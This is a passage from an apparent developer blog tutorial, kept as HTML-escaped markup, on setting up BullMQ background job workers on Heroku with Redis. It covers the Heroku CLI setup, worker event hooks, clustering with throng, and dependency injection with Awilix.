&lt;li&gt;Supports retries for failed jobs.&lt;/li&gt;
&lt;li&gt;Supports rate-limiting for jobs.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;setting-up-a-heroku-application-with-redis&quot;&gt;Setting up a Heroku application with Redis&lt;/h2&gt;
&lt;p&gt;To set up a Heroku application with Redis, you will need to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Create a new Heroku app.&lt;/li&gt;
&lt;li&gt;Provision a Redis instance.&lt;/li&gt;
&lt;li&gt;Set up the Procfile for a new worker configuration.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here are the commands you can use to do this:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;heroku create my-app&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;heroku addons:create heroku-redis:hobby-dev&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;worker: node worker.js&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; Procfile&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first command creates a new Heroku app named &lt;code&gt;my-app&lt;/code&gt;. The second command provisions a Redis instance on the Hobby Dev plan. The third command creates the Heroku app infrastructure file &lt;code&gt;Procfile&lt;/code&gt;, which tells Heroku to provision a background job processing resource and to run the &lt;code&gt;node worker.js&lt;/code&gt; command for it.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;worker.js&lt;/code&gt; file is where you will put your code for processing background jobs. We’re getting to it next!&lt;/p&gt;
&lt;h2 id=&quot;the-bullmq-worker&quot;&gt;The BullMQ worker&lt;/h2&gt;
&lt;p&gt;The worker is the process that will consume work from the queue and run the background jobs. In Heroku, and generally speaking, it’s a separate Node.js runtime process and as such it is entirely unrelated in terms of deployment from that of your main web API Node.js runtime, if you have one.&lt;/p&gt;
&lt;p&gt;It’s also generally considered to be a long-running process, meaning it will run indefinitely until it is stopped. If there’s no work, it simply idles. It will connect to the Redis instance and listen for jobs to be added to the queue. When a job is added to the queue, the worker will process the job and then mark it as complete.&lt;/p&gt;
&lt;h3 id=&quot;setting-up-the-bullmq-worker&quot;&gt;Setting up the BullMQ worker&lt;/h3&gt;
&lt;p&gt;Setting up the BullMQ worker is as simple as creating a new file, &lt;code&gt;worker.js&lt;/code&gt;, and adding the following code:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { Worker } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;bullmq&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Redis connection details&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;workerConnectionOptions&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    host: &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;meta&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.env.hostname,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    port: &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;meta&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.env.port,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    password: &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;meta&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.env.password,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// The following sets up the worker:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 1. Connects to a queue named `uploaded_files_queue`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 2. Runs the `workerJobHandler` function when a job is added to the queue&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 3. Creates a new worker instance that allows hooking to events in the worker lifecycle&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;workerInstance&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;Worker&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;uploaded_files_queue&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, workerJobHandler, {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    connection: workerConnectionOptions,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// The `workerJobHandler` function is the function that will be called&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// when a job is added to the queue. It will receive the job as an argument.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// The job will contain the data that was added to the queue when the job&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// was created.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;workerJobHandler&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;job&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`handling job: [${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;job&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}]`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ jobName: job.name, jobId: job.id, data: job.data });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// for example:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// await processUploadedFile(job.data.fileId)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;acting-on-events-in-the-worker-lifecycle&quot;&gt;Acting on events in the worker lifecycle&lt;/h3&gt;
&lt;p&gt;We can hook into events in the worker lifecycle to perform actions when certain events occur. For example, we can hook into the &lt;code&gt;completed&lt;/code&gt; event to perform an action when a job is completed. We can also hook into the &lt;code&gt;failed&lt;/code&gt; event to perform an action when a job fails.&lt;/p&gt;
&lt;p&gt;Add the following to the &lt;code&gt;worker.js&lt;/code&gt; file:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;workerInstance.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;completed&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;job&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`[${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;job&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}] entering job completion stage!`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`[${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;job&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}] has completed!`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;workerInstance.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;failed&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;job&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;err&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`[${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;job&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}] has failed with ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;err&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(err);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;workerInstance.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;error&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;err&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`WorkerInstance has errored with ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;err&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Tip: Avoid try/catch for error handling. You don’t need to customize error handling within the worker handler function. BullMQ automatically catches thrown errors from the function. Next, it retries failed jobs, and moves them to a dead letter queue after a certain number of retries.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;utilizing-cpu-cores-with-bullmq&quot;&gt;Utilizing CPU cores with BullMQ&lt;/h3&gt;
&lt;p&gt;Node.js, being a single-threaded runtime, can only utilize a single CPU core. This means that if you have a multi-core CPU host assigned to the worker process then you’ll constantly under-utilize your hardware resources. Instead, you can utilize all CPU cores by running multiple instances of the worker. This is often referred to as clustering and it’s a common pattern in Node.js applications.&lt;/p&gt;
&lt;p&gt;We can use a small wrapper for Node.js’s built-in clustering capabilities with the &lt;a href=&quot;https://snyk.io/advisor/npm-package/throng&quot;&gt;throng npm package&lt;/a&gt; in order to launch a separate Node.js runtime process for each CPU.&lt;/p&gt;
&lt;p&gt;We will change the &lt;code&gt;worker.js&lt;/code&gt; file to accompany for &lt;code&gt;throng&lt;/code&gt;:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; throng &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;throng&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;throng&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ worker });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// wrap the worker code in a function called `worker` which will then be called by `throng`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// function worker() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// ... the worker code from previous section&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;better-bullmq-worker-with-dependency-injection&quot;&gt;Better BullMQ worker with Dependency Injection&lt;/h3&gt;
&lt;p&gt;Your background job workers, while deployed separately from your main web APIs, will still need to access your application’s services and dependencies. For example, you may want to access your database, or your file storage service, to which you’ll need to pass the necessary configuration, credentials, and potentially other domain logic.&lt;/p&gt;
&lt;p&gt;In order to do this, we can use a dependency injection container to inject dependencies into the worker. We can use the &lt;a href=&quot;https://snyk.io/advisor/npm-package/awilix&quot;&gt;Awilix npm package&lt;/a&gt; to do this.&lt;/p&gt;
&lt;p&gt;The pattern I suggest is as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The worker is co-located with the Node.js API service/microservice source code it is related to. This way, it can easily access domain logic via high-level abstraction APIs (the &lt;em&gt;services&lt;/em&gt;, i.e: &lt;code&gt;FileStorageService&lt;/code&gt;, &lt;code&gt;DatabaseService&lt;/code&gt;, etc).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The worker is instantiated with a dependency injection layer that is allows the worker to request access to any of the necessary dependencies, just as if it was another HTTP API route handler in the main service.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This will end up looking something like this:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; throng &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;throng&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { Config } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;./services/core/Config.js&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { DatabaseManager } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;./services/core/db.js&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { initDI } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;./infra/di.js&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { WorkerFactory } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;./workers/fileUploadWorker.js&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;initDatabase&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Initialize the database&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;database&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;DatabaseManager&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(config);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Ensure database connection is ready&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; database.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;ping&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Return the database instance&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; database;&lt;/span&gt;&lt;/span&gt;
